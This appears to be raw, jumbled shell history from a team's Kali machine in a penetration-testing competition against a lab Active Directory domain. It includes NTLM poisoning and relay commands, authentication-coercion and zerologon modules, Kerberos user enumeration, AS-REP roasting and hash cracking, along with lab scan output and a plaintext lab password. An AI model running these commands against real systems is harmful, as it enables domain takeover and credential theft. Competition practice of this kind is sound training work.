cd SecLists/Discovery/
ls
cd wfuzz
ls
cd webservices
ls
cd ../general
ls
cat common.txt
clear
cd ~
clear
ffuf -w /usr/share/wordlists/dirb/common.txt -u https://10.0.1.99/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.199/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.99/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.14/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.11/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.14/FUZZ
clear
nmap 10.0.1.14
ssh 10.0.1.14
clear
nmap 10.0.1.14
nmap -A 10.0.1.14
nmap 10.0.1.14


_raw: : 1760800723:0;nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='allports.local',userdb=usernames.txt" 10.0.1.6\


_raw: : 1760800697:0;ldapsearch -H "ldap://10.0.1.6" -x -b "DC=ALLPORTS,DC=LOCAL" "(objectClass=*)"


_raw: : 1760800615:0;openssl s_client -connect 10.0.1.21:443 -servername DECKHAND-02


_raw: : 1760800584:0;gobuster dir -u https://10.0.1.14:5001 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760800583:0;git clone https://github.com/nationalcptc-teamtools/University-of-North-Georgia


_raw: : 1760800574:0;gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760800558:0;ldapsearch -H "ldap://10.0.1.6" -x -b "DC=ALLPORTS,DC=LOCAL" "(objectClass=*)"


_raw: : 1760800524:0;echo 'dcarter' >> ad_users.txt


_raw: : 1760800517:0;echo 'ecarter' >> ad_users.txt


_raw: : 1760800501:0;echo 'bfinn' > ad_users.txt


_raw: : 1760800495:0;gobuster dir -u https://10.0.1.14:5001 -w /usr/share/wordlists/dirb/common.txt


_raw:
nslookup allports.local
clear
ls
clear
ls
dig axfr
ip a
sudo responder
impacket-ntlmrelayx --remove-mic
impacket-ntlmrelayx --remove-mic -t APT-DC-01.allports.local
impacket-ntlmrelayx --remove-mic -t APT-DC-01.allports.local 0i
impacket-ntlmrelayx --remove-mic -t APT-DC-01.allports.local -i
impacket-ntlmrelayx --remove-mic -t APT-DC-01.allports.local -smb2support
impacket-ntlmrelayx -remove-target --remove-mic -t APT-DC-01.allports.local -smb2support
impacket-ntlmrelayx --remove-mic -t APT-DC-01.allports.local -smb2support
impacket-ntlmrelayx --remove-mic -t ldaps://APT-DC-01.allports.local -smb2support --delegate-access
impacket-ntlmrelayx --remove-mic -t ldap://APT-DC-01.allports.local -smb2support --delegate-access
impacket-ntlmrelayx --remove-mic -t smb://APT-DC-01.allports.local -smb2support --delegate-access
impacket-ntlmrelayx --remove-mic -t smb://APT-DC-01.allports.local -smb2support --remove-mic
impacket-ntlmrelayx -t smb://APT-DC-01.allports.local -smb2support --remove-mic
impacket-ntlmrelayx -t smb://APT-DC-01.allports.local --remove-mic -smb2support
impacket-ntlmrelayx -t ldaps://APT-DC-01.allports.local --remove-mic -smb2support
impacket-ntlmrelayx -t ldaps://10.0.1.6 --remove-mic -smb2support
impacket-ntlmrelayx -t ldap://10.0.1.6 --remove-mic -smb2support
ls
clear
ls -al
ls
cd cptc2026-tools
l
less nmap-windows-full.out
sudo apt-get install netexec
sudo vi /etc/hosts
ls
nxc APT-DC-01.allports.local
nxc smb APT-DC-01.allports.local -L
nxc smb APT-DC-01.allports.local -M 'zerologon'
nxc smb APT-DC-01.allports.local -M 'coerce_plus'
nxc smb APT-DC-01.allports.local --rid-brute
nxc smb APT-DC-01.allports.local -u 'Guest' -p ''
nxc smb APT-DC-01.allports.local -u 'Guest' -p '' -k
nxc smb APT-DC-01.allports.local --users
nxc smb APT-DC-01.allports.local --shares
nxc smb APT-DC-01.allports.local --users
nxc smb APT-DC-01.allports.local -M 'coerce_plus' -O LISTENER_IP=10.0.254.203
nxc smb APT-DC-01.allports.local -M 'coerce_plus' -Oo LISTENER=10.0.254.203
nxc smb APT-DC-01.allports.local -M 'coerce_plus' -o LISTENER=10.0.254.203
nxc smb APT-DC-01.allports.local -M 'timeroast'
nxc smb APT-DC-01.allports.local -M 'coerce_plus' -o LISTENER=10.0.254.203
nxc ldap APT-DC-01.allports.local
ip a
nxc smb APT-DC-01.allports.local -M 'coerce_plus' -o LISTENER=10.0.254.203
rdesktop 10.0.1.6
rdesktop 10.0.1.20
rdesktop 10.0.1.21
clear
ls
ls ~
ls -al ~
cat ~/password.txt
clear
ls -al ~
ls -al ~/.profile
clear
ls -al
nxc smb APT-DC-01.allports.local -M 'coerce_plus' -o LISTENER=10.0.254.203
ls
cd cptc2026-tools
ls
clear
ls
less nmap-windows-full.out


_raw:
ls
vi apt-dc-01.hash
clear
ls
hashcat apt-dc-01.hash /usr/share/wordlists/rockyou.txt
ls
vi uncrackable.hash
clear
ls
sudo apt-get install hashcat
ls
hashcat apt-dc-01.hash
hashcat apt-dc-01.hash /usr/share/wordlists/rockyou.txt
ls
free -h
kerbrute
sudo apt-get install kerbrute
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
ls
clear
ls
chmod 744 kerbrute_linux_amd64
mv kerbrute_linux_amd64 kerbrute
clear
./kerbrute
ls
clear
ls
sudo responder -I eth0
ip a
sudo responder
sudo responder --help
sudo responder -I eth0
sudo responder -I eth0 --disable-ess
sudo responder -I eth0 --lm
sudo responder -I eth0
clear
ls
clear
ls
impacket-ntlmrelayx -h-elp
impacket-ntlmrelayx -h
impacket-ntlmrelayx -h | less -S
sudo responder -I eth0 --lm
sudo responder --help
sudo responder -I eth0 --disable-ess


_raw:
ls -al /usr/share/wordlists
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
clear
ls
wget https://hashcat.net/beta/hashcat-7.1.2%2B256.7z
ls
7z e hashcat-7.1.2+256.7z
ls
ls -al
tar tf file.tar --quoting-style=shell-always |xargs rm -i
7z l hashcat-7.1.2
7z l hashcat-7.1.2+256.7z
7z l -ba hashcat-7.1.2+256.7z
clear


_raw:
passwd
echo "pentester:kali" | sudo chpasswd
clear
ls
cd ..
ls
clear
ls
rm -i university-of-florida


_raw: : 1760800485:0;gobuster dir -u https://10.0.1.14:443 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760800483:0;cat valid_usernames.txt|  cut -d " " -f 3 > usernames.txt


_raw: : 1760800479:0;gobuster dir -u http://10.0.1.14:443 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760800477:0;echo 'ecarter' > ad_users.txt


_raw: : 1760800474:0;cat valid_usernames.txt|  cut -d " " -f 3


_raw: : 1760800471:0;echo 'dcarter' > ad_users.txt


_raw: : 1760800457:0;apt install docker-compose


_raw: : 1760800453:0;apt isntall docker-compose


_raw: : 1760800452:0;grep dcarter valid_usernames.txt


_raw: : 1760800444:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1760800389:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(sAMAccountName=qharris)"


_raw: : 1760800386:0;gobuster dir -u http://10.0.1.14:80 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760800381:0;ldapsearch -x -H ldap://<DC> -b "dc=allports,dc=local" "(sAMAccountName=qharris)"


_raw: : 1760800376:0;gobuster dir -u https://10.0.1.14:80 -w /usr/share/wordlists/dirb/common.txt


_raw:
docker
ls
git clone https://github.com/nationalcptc-teamtools/University-of-Tulsa.git
ls
cd University-of-Tulsa
ls
cd scripts
ls
ls -lah
sudo ./base_install.sh
sudo apt install -y docker.io
sudo systemctl enable docker --now
docker ps
sudo usermod -aG docker pentester
docker ps
usermod
sudo usermod -aG docker pentester
cat /etc/groups
cat /etc/group
docker ps
sudo reboot


_raw:
bash <(curl --proto '=https' --tlsv1.2 -sSf https://setup.atuin.sh)\
\
atuin register -u <USERNAME> -e <EMAIL>\
atuin import auto\
atuin sync
bash <(curl --proto '=https' --tlsv1.2 -sSf https://setup.atuin.sh)
ls
exit


_raw: : 1760800278:0;git clone https://github.com/nationalcptc-teamtools/University-of-North-Georgia.git


_raw:
nmap -sC -sV -p- 10.0.1.11 -oA output
ls
mv output.nmap aggressive10.0.1.11.nmap
curl -s https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh -o
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
ls
git clone https://github.com/carlospolop/PEASS-ng.git
cd PEASS-/linPEAS
cd PEASS-ng/linPEAS
chmod +x linpeas.sh
ls
cd builder
ls
cd ..
cd images
ls
cd ..
ls
cd ..
ls
curl -s https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
ls
./linpeas.sh
ls
cd linpeas.sh
./linpeas.sh
./linpeas
ls
cd linPEAS
ls
[200~rm ~/PEASS-ng/linpeas.sh~
rm ~/PEASS-ng/linpeas.sh
curl -sL https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh -o ~/PEASS-ng/linpeas.sh
chmod +x ~/PEASS-ng/linpeas.sh
cd ~/PEASS-ng
ls
./linpeas.sh
cd ..
ls
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
ssh 10.0.1.11
passwd


_raw: curl --proto '=https' --tlsv1.2 -LsSf https://setup.atuin.sh | sh


_raw: : 1760800135:0;impacket-GetNPUsers allports.local/ -no-pass -usersfile jsmith.txt -dc-ip 10.0.1.6 | grep REQUIRE > ../valid_usernames.txt


_raw: : 1760800118:0;mv hostsip ~/Desktop ~/pentester


_raw: : 1760800030:0;impacket-GetNPUsers allports.local/ -no-pass -usersfile jsmith.txt -dc-ip 10.0.1.6 | grep REQUIRE


_raw: : 1760800000:0;impacket-GetNPUsers allports.local/ -no-pass -usersfile jsmith.txt -dc-ip 10.0.1.6


_raw: : 1760800000:0;git clone https://github.com/topotam/PetitPotam.git


_raw: : 1760799993:0;impacket-GetNPUsers allports.local/ -no-pass -usersfile ../jsmith.txt -dc-ip 10.0.1.6


_raw: : 1760799968:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" > ldapsearch6.txt


_raw: : 1760799957:0;ldapsearch -x -H ldap://10.0.1.21 -b "dc=allports,dc=local" > ldapsearch21.txt


_raw: : 1760799934:0;ldapsearch -x -H ldap://10.0.1.20 -b "dc=allports,dc=local" > ldapsearch20.txt


_raw: : 1760799817:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local ~/ad_users.txt


_raw: : 1760799789:0;impacket-ntlmrelayx -tf smb_unsigned_ips.txt -smb2support -socks --output-file relaylog.txt


_raw: : 1760799741:0;./username-anarchy --input-file ~/users.txt >> ad_users.txt


_raw: : 1760799632:0;nmap -p 80,443 --script=http-server-header,http-title -oN http/banners.txt 10.0.1.21


_raw: : 1760799617:0;nxc smb 10.0.1.0/24 --gen-relay-list smb_unsigned_ips.txt


_raw: : 1760799563:0;git clone https://github.com/urbanadventurer/username-anarchy.git


_raw: : 1760799544:0;git clone https://github.com/urbanadventurer/username-anarchy.git


_raw: : 1760799485:0;mv Scan.xml /home/pentester/Desktop


_raw: : 1760799423:0;smbclient --kerberos -no-pass @DECK-HAND-02


_raw: : 1760799412:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local ~/users.txt


_raw: : 1760799398:0;./kerbrute userenum --dc 10.0.1.6 -d prod.allports.local ~/users.txt


_raw: : 1760799395:0;python3 GetADUsers.py allports.local/ -dc-ip 10.0.1.6


_raw: : 1760799369:0;./kerbrute userenum --dc 10.0.1.6 -d prod.allports.local users.txt


_raw: : 1760799362:0;ldapsearch -x 10.0.1.6:389 -b "dc=allports,dc=local" "(objectClass=user)"


_raw: : 1760799330:0;git clone https://github.com/xaitax/CVE-2024-6387_Check


_raw: : 1760799315:0;ldapsearch -x 10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)"


_raw: : 1760799310:0;smbclient -k -no-pass @DECK-HAND-02


_raw: : 1760799306:0;ldapsearch -x -i 10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)"


_raw: : 1760799285:0;ldapsearch -x -h 10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)"


_raw: : 1760799181:0;impacket-GetNPUsers allports.local/ -no-pass -usersfile ../jsmith.txt -dc-ip 10.0.1.6


_raw:
sudo apt install kali-desktop-xfce
update-alternatives
startxfce4


_raw:
cd Desktop/CPTC-9-2
ll
chmod +x bloodhound-install.sh
./bloodhound-install.sh


_raw:
sudo dpkg-reconfigure lightdm
startplasma-x11
exit


_raw: : 1760799129:0;git clone https://github.com/ropnop/kerbrute.git


_raw: : 1760799033:0;git clone https://github.com/ropnop/kerbrute.git


_raw: : 1760798983:0;git clone https://github.com/insidetrust/statistically-likely-usernames.git


_raw: : 1760798942:0;smbclient -k @DECKHAND-02.allports.local


_raw: : 1760798935:0;smblient -k @DECKHAND-02.allports.local


_raw: : 1760798873:0;curl -f -L https://greenbone.github.io/docs/latest/_static/docker-compose.yml -o docker-compose.yml


_raw:
sudo apt update
nxc
clear
mkdir nmap scans
rmdir nmap/scans
ls
rmdir scans
cat password.txt
rmdir scans
ls
cd nmap
nmap -A -Pn -p- 10.0.1.14 | tee first.nmap.scan
nmap -A -Pn -p- 10.0.1.99 | tee second.nmap.scan
nmap -A -Pn -p- 10.0.1.6 | tee maybeAD.nmap.scan


_raw:
sudo vim /etc/hosts
nxc ldap 10.0.1.22 -u "" -p ""
ping 10.0.1.22
ping 10.0.1.21
nxc ldap 10.0.1.21 -u "" -p ""
nxc smb 10.0.1.21 -u "" -p ""
sudo vim /etc/hosts
nxc smb 10.0.1.21 -u "" -p ""
ls
nxc smb 10.0.1.21 -u "" -p "" --shares
smbclient -L //10.0.1.21 -N
nxc smb 10.0.1.220 -u "" -p "" --shares
nxc smb 10.0.1.20 -u "" -p "" --shares
sudo vim /etc/hosts
nxc smb 10.0.1.20 -u "" -p "" --shares
nxc ldap 10.0.1.20 -u "" -p "" --shares
nxc ldap 10.0.1.20 -u "" -p ""
nxc ldap 10.0.1.16 -u "" -p ""
nxc smb 10.0.1.6 -u "" -p ""
nxc smb 10.0.1.6 -u "" -p "" --shares
sudo vim /etc/hosts
nxc ldap 10.0.1.6 -u "" -p ""
nxc ldap 10.0.1.6 -u "" -p "" --users
nxc ldap 10.0.1.6 -u "" -p "" --dc-list
nxc ldap 10.0.1.6 -u "" -p "" --users-export users.txt
cat users.txt
rm users.txt
nxc ldap 10.0.1.6 -u "" -p "" --computers
nxc ldap 10.0.1.6 -u "" -p "" --gmsa
clear
firefox
mysql -u "" -p -h 10.0.1.15
firefox
mysql -u "" -p -h 10.0.1.15 --skip-ssl
mysql -u anonymous -p -h 10.0.1.15 --skip-ssl
xterm
sudo apt install xterm
xterm


_raw: : 1760798780:0;sudo nmap -sV -p22,80,443,5001 --version-all --script=vulners -T4 -oN version.scans -iL targets.txt


_raw: : 1760798770:0;git clone https://github.com/xonoxitron/regreSSHion


_raw: : 1760798697:0;enum4linux-ng -A 10.0.1.21 -oY deckhand02-enum4linux


_raw: : 1760798664:0;enum4linux-ng -A 10.0.1.20 -oY deckhand01-enum4linux


_raw: : 1760798621:0;curl -f -L https://greenbone.github.io/docs/latest/_static/docker-compose-22..4.yml -o docker-compose.yml


_raw: : 1760798618:0;impacket-GetNPUsers allports.local/ -no-pass -usersfile users.txt -dc-ip 10.0.1.6


_raw: : 1760798591:0;impacket-GetNPUsers prod.allports.local/ -no-pass -usersfile users.txt -dc-ip 10.0.1.6


_raw: : 1760798548:0;apt install enum4linux-ng


_raw: : 1760798542:0;mkdir greenbone && cd greenbone


_raw: : 1760798505:0;apt install docker.io docker-compose


_raw:
which greenbone
top
htop
sudo -i
sudo vim /etc/sudoers
sudo apt install htop
sudo vim /etc/sudoers
su
passwd
clear
sudo -i


_raw: : 1760798454:0;sudo apt install kerbrute


_raw:
ls
ls /var/log/cptc/logs -l
cd /var/log/cptc
sudo ./logging_setup.sh


_raw:
sudo nano /etc/environment
echo $scope
sudo nano /etc/environment
echo @scope
echo $scope
echo scope
clear
sudo nano 10.0.1.0
sudo 10.0.1.0
sudo /etc/hosts
sudo nano /etc/hosts
clear
whatweb prod.allports.local
sudo nano /etc/hosts
whatweb prod.allports.local
sudo nmap prod.allports.local
sudo nmap -sn 10.0.1.0/24
sudo nmap -sn 10.0.1.14
sudo nmap 10.0.1.14
sudo nmap 10.0.1.15
sudo nmap 10.0.1.20
sudo nmap 10.0.1.21
sudo nano nmapper.sh
clear
./nmapper.sh
sudo ./nmapper.sh
ls
./
clear
./nmapper.sh
chmod +rwx nmapper.sh
sudo chmod +rwx nmapper.sh
ls
nano nmapper.sh
sudo nano -A 10.0.1.99
sudo nmap -A 10.0.1.99
sudo nmap -A 10.0.1.6
sudo nmap 10.0.1.6
nano nmapper.sh
sudo nano nmapper.sh
./nmapper.sh


_raw:
chpasswd
ls
passwd
nmap -T4 -p- 10.0.1.11 -oX 10.0.1.11.log.log
cat /var/logs/cptc/logs
cat /var/logs/cptc/log
ls /var/log/cptc
ls /var/log/cptc/logs
cat /var/log/cptc/logs/command.log
clear
cd /var/logs/cptc
cat /var/log/cptc
cd /var/log/cptc
ls
./logging_setup.sh
sudo ./logging_setup.sh


_raw: : 1760798284:0;chown -R pentester:pentester versions


_raw: : 1760798263:0;mv output.nmap aggressive10.0.1.11.nmap


_raw:
sudo passwd
ls
mkdir IITgit
cd IITgit
git clone https://github.com/nationalcptc-teamtools/Illinois-Institute-of-Technology.git
ls
cd Illinois-Institute-of-Technology/
ls
cd 2025
ls
cd scripts
ls
chmod +x kali-prep.sh
ls
./kali-prep.sh
ip a


_raw: : 1760798155:0;sudo nmap -sS -sV --script=banner  10.0.1.0/24 -oA versions


_raw:
clear
curl -O https://raw.githubusercontent.com/nationalcptc-teamtools/University-of-Florida/refs/heads/main/cptc2025-tools/logging_setup.sh
ls
chmod +x logging_setup.sh
sudo ./logging_setup.sh
ls /var/log/cptc
exit


_raw: : 1760798073:0;sudo dpkg-reconfigure lightdm


_raw: : 1760798056:0;sudo apt install flameshot


_raw: : 1760798008:0;apt update && apt install fastfetch


_raw: : 1760797999:0;apt update && apt install neofetch


_raw:
ll
cd report
ll
grep 'open/' tcp-discovery.gnmap | cut -d ' ' -f 2 > live-tcp.txt
cat live-tcp.txt
grep Up ping.gnmap | cut -d ' ' -f 2 > live-ping.txt
sudo apt install terminator
terminator


_raw: : 1760797806:0;sudo nmap -iL targets.txt -T4 -p- --open -oN nmap.scans


_raw:
nmap -sS -S -T 4 -Pn -n -oA smb \
nmap 10.0.1.0/24 -sS -S -T 4 -Pn -n -oA smb \
nmap -sS -S -T 10.0.1.0/24 4 -Pn -n -oA smb \
nmap 10.0.1.0/24 -sS -S -T 4 -Pn -n -oA smb \
nmap 10.0.1.0/24 -sS -S -T 4 -Pn -n -oA smb
nmap -sS -S -T 4 -Pn -n -oA smb 10.0.1.0/24
sudo nmap -sS -S -T 4 -Pn -n -oA smb 10.0.1.0/24
sudo
nmap
sudo nmap -sS -S -T4 -Pn -n -oA smb 10.0.1.0/24
gobuster dir -u http:///10.0.1.14:80/ -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http:///10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt -b 204
gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt -b 404
gobuster dir -u http://10.0.1.14 -w  /usr/share/wordlists/dirb/common.txt -b 301
exit


_raw: : 1760797681:0;chmod +x logging_setup.sh


_raw: : 1760797627:0;mkdir /var/log/cptc; cd /var/log/cptc


_raw: : 1760797590:0;chown -R pentester:pentester banners hosts


_raw:
burp
ffuf
seclists
sudo apt install xfce
sudo apt install xfce4


_raw: : 1760797564:0;mv hosts banners /home/pentester


_raw: : 1760797520:0;curl https://sh.rustup.rs -sSf | sh


_raw: : 1760797493:0;chmod +x logging_setup.sh


_raw: : 1760797473:0;chmod _x logging_setup.sh


_raw: : 1760797384:0;sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin


_raw: : 1760797267:0;grep CODENAME /etc/os-release


_raw:
curl -O https://raw.githubusercontent.com/nationalctpc-teamtools/University-of-Florida/refs/heads/main/cptc2025-tools/logging setup.sh
ls
mv logging logging_setup.sh
ls
chmod +x logging_setup.sh
sudo ./logging_setup.sh
ls
sudo ./logging_setup.sh
ls
sudo -l


_raw:
ip a
curl -O https://raw.githubusercontent.com/nationalcptc-teamtools/University-of-Florida/refs/heads/main/cptc2025-tools/logging_setup.sh
ls
chmod +x logging_setup.sh
sudo ./logging_setup.sh


_raw:
: 1760797205:0;# Add Docker's official GPG key:\
sudo apt-get update\
sudo apt-get install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \\
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\
sudo apt-get update


_raw:
clear
ckear
clear
ls
cat password.txt
clear
sudo apt install firefox
clear
sudo su


_raw: : 1760797151:0;chmod +x logging_setup.sh


_raw: : 1760797061:0;chmod +x logging_setup.sh


_raw: : 1760796988:0;cp scan.log /home/pentester


_raw: : 1760796982:0;chmod +x burpsuite_community_linux_v2025_9_5.sh


_raw: : 1760796938:0;sudo install -d -m 0755 /etc/apt/keyrings


_raw: : 1760796910:0;sudo apt install impacket


_raw: : 1760796876:0;python3 pip install python3-venv


_raw: : 1760796829:0;sudo apt update && sudo apt -y full-upgrade


_raw:
get clone https://github.com/nationalcptc-teamtools/university-of-florida
sudo get clone https://github.com/nationalcptc-teamtools/university-of-florida
git clone https://github.com/nationalcptc-teamtools/university-of-florida
ls
cd university-of-florida
ls
cd cptc2026-tools
ls
chmod 744 all.sh
ls
cd setup
ls
chmod 744 all.sh
ls
run all.sh
all.sh
./all.sh
sudo su
exit


_raw:
ls
nano password.txt
ls
cd Desktop
git clone https://github.com/nationalcptc-teamtools/University-Of-Florida
ls
cd University-Of-Florida
ls
cd cptc2026-tools
ls
cd setup
ls
chmod +x all.sh
./all.sh
sudo ./all.sh
ls


_raw: : 1760796489:0;git clone https://github.com/nationalcptc-teamtools/University-of-Florida


_raw:
ls
cat password.txt
cd Downloads
ls
git clone https://github.com/nationalcptc-teamtools/University-Of-Florida
ls
cd University-Of-Florida
ls
cd cptc2026-tools
ls
cd setup
ls
chmod +x all.sh
./all.sh
passwd


_raw: : 1760796476:0;git clone https://github.com/nationalcptc-teamtools/University-of-Florida


_raw:
| Not valid after:  2026-10-15T11:59:51\
| MD5:   b17f:d453:a2e3:5812:d57b:24b3:aab6:c204\
|_SHA-1: c21a:d8c5:ad28:744a:e47b:4825:1893:89fe:3322:74e1\
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).\
Device type: general purpose|router\
Running: Linux 5.X, MikroTik RouterOS 7.X\
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3\
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\
Uptime guess: 13.712 days (since Sun Oct  5 00:32:25 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=260 (Good luck!)\
IP ID Sequence Generation: All zeros\
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\
\
TRACEROUTE (using port 1025/tcp)\
HOP RTT     ADDRESS\
1   ...\
2   2.11 ms 10.0.1.99\
\
Nmap scan report for 10.0.1.254\
Host is up (0.00047s latency).\
All 1000 scanned ports on 10.0.1.254 are in ignored states.\
Not shown: 1000 closed tcp ports (reset)\
Too many fingerprints match this host to give specific OS details\
Network Distance: 1 hop\
\
TRACEROUTE (using port 1025/tcp)\
HOP RTT     ADDRESS\
1   0.28 ms 10.0.1.254\
\
NSE: Script Post-scanning.\
Initiating NSE at 17:37\
Completed NSE at 17:37, 0.00s elapsed\
Initiating NSE at 17:37\
Completed NSE at 17:37, 0.00s elapsed\
Initiating NSE at 17:37\
Completed NSE at 17:37, 0.00s elapsed\
Read data files from: /usr/share/nmap\
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\
Nmap done: 256 IP addresses (11 hosts up) scanned in 77.83 seconds\
           Raw packets sent: 14619 (656.172KB) | Rcvd: 10753 (449.772KB)" > scan2.txt


_raw:
| Not valid after:  2026-10-15T11:59:51\
| MD5:   b17f:d453:a2e3:5812:d57b:24b3:aab6:c204\
|_SHA-1: c21a:d8c5:ad28:744a:e47b:4825:1893:89fe:3322:74e1\
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).\
3306/tcp open  mysql    MySQL 8.0.43\
| mysql-info: \
|   Protocol: 10\
|   Version: 8.0.43\
|   Thread ID: 1651\
|   Capabilities flags: 65535\
|   Some Capabilities: Speaks41ProtocolNew, SupportsCompression, LongColumnFlag, SupportsTransactions, IgnoreSpaceBeforeParenthesis, LongPassword, ConnectWithDatabase, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, ODBCClient, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, FoundRows, IgnoreSigpipes, Support41Auth, InteractiveClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins\
|   Status: Autocommit\
|   Salt: \x042%a=K|\x0Cn\x0BpR&%KiP\x1BA?\
|_  Auth Plugin Name: caching_sha2_password\
|_ssl-date: TLS randomness does not represent time\
| ssl-cert: Subject: commonName=MySQL_Server_8.0.43_Auto_Generated_Server_Certificate\
| Issuer: commonName=MySQL_Server_8.0.43_Auto_Generated_CA_Certificate\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha256WithRSAEncryption\


_raw:
| Not valid before: 2025-10-15T11:58:44\
| Not valid after:  2035-10-13T11:58:44\
| MD5:   c0a8:de83:5ccb:9b1f:be77:246e:b1f0:3f90\
|_SHA-1: aca0:c0a2:f6c1:6726:10be:ab0d:4ce9:cef3:5103:3172\
8080/tcp open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)\
|_http-open-proxy: Proxy might be redirecting requests\
| ssl-cert: Subject: commonName=TRAEFIK DEFAULT CERT\
| Subject Alternative Name: DNS:49b3e00ad1690fc35547fabec30232e7.ecfd0d027bd14839a9013eb35fb90bb5.traefik.default\
| Issuer: commonName=TRAEFIK DEFAULT CERT\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha256WithRSAEncryption\


_raw:
Uptime guess: 3.398 days (since Wed Oct 15 08:04:31 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=263 (Good luck!)\
IP ID Sequence Generation: Incremental\
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows\
\
Host script results:\
|_clock-skew: mean: 1s, deviation: 0s, median: 1s\
| smb2-security-mode: \
|   3:1:1: \
|_    Message signing enabled but not required\
| smb2-time: \